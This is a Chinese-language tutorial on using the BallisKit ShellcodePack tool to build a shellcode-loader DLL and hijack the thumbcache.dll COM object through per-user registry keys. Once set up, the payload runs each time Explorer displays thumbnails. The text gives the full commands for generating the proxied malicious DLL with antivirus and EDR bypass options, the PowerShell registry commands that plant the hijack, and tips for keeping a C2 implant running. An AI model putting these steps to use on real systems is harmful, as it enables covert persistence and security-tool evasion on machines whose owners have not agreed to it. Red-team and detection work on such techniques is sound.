利用ShellcodePack实现DLL劫持与COM对象劫持技术详解
本文是一份关于使用 BallisKit ShellcodePack(版本 2.7.2 及以上)执行 DLL 劫持的小型教程。在本例中,我们将对 thumbcache.dll 使用 COM 劫持技术,从而在每次浏览资源管理器时触发有效载荷。
技术背景
当浏览包含缩略图的文件夹时,系统会触发 CLSID 为 {AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} 的 COM 对象执行。通过查看注册表路径:
HKEY_CLASSES_ROOT\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32
可以发现该对象的实现文件位于:
C:\Windows\System32\thumbcache.dll
ProcMon 监控 thumbcache.dll 加载
通过 Process Monitor 观察,当文件夹被浏览时,thumbcache.dll 会由 DllHost.exe 加载。同时注意到,系统会优先加载 HKEY_CLASS_USER 中定义的值(如果存在)。我们将利用这一特性来运行 shellcode 加载器 DLL。
第一步:生成 shellcode 加载器 DLL
ShellcodePack 支持多种从 DLL 加载 shellcode 的策略。本例选择从 DLL_MAIN 中加载 shellcode。我们使用 dll-proxy 选项将导出的函数调用自动转发至原始 DLL,同时使用 dll-increase-reference-count 选项避免恶意 DLL 被提前卸载。
使用以下命令行生成我们的 DLL:
bash
shellcode_pack.exe -i "x64shellcode.bin" -G "C:\my\path\thumbcache.dll" --arch=win_x64 --bypass --dll-increase-reference-count --dll-proxy="c:\windows\system32\thumbcache.dll"
提示 :使用 --bypass 选项可自动应用多种 AV/EDR 绕过方案来生成载荷。你也可以通过以下方式使用预定义的 EDR 绕过预设:
bash
--bypass-profile=bypass_profiles\defender_bypass_profile.json
第二步:注册表中的 COM 劫持配置
使用以下 PowerShell 命令行设置注册表项:
powershell
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\my\path\thumbcache.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Apartment"
生成的注册表项结构如图所示(预期效果)。
第三步:漏洞利用
打开资源管理器,点击包含缩略图的文件夹(例如「此电脑」)。此时 shellcode 将被成功启动!
第四步:清理
使用以下命令清理注册表:
powershell
Remove-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
限制与替代方案
在 COM 劫持场景中,当被劫持的进程终止时(本例中为几秒后),你的 shellcode 会被中断。如果 shellcode 是一个 C2 植入程序,你可能需要在此之前迁移到其他进程。
替代方案一 :移除 dll-proxy 选项。在这种情况下,由于对 DLL 的调用会失败,进程可能不会立即关闭。缺点是此方法并非在所有场景下都有效。
保持目标进程在劫持后继续运行的命令示例:
bash
shellcode_pack.exe -i "x64shellcode.bin" -G "C:\my\path\thumbcache.dll" --arch=win_x64 --bypass --dll-increase-reference-count
替代方案二 :不通过 DLL_MAIN 运行 shellcode 并代理导出函数,而是从导出函数中运行 shellcode。你可以使用 dll-run-shellcode-from-dll-export 选项,并通过 dll-export=DLL_EXPORT_NAME 重命名默认的 ShellcodePack 导出函数。但需要注意,从导出函数加载的问题在于,在 DLL 劫持场景中,调用程序可能无法正常运行。 CSD0tFqvECLokhw9aBeRqv0CjOLMPgMxZs9OkOfethamM50XDnXyZbBEdIw1I2NdN45R4gFPBXJrnxWMLeVhZ58KQ+60IxEXoR89fK55CSY=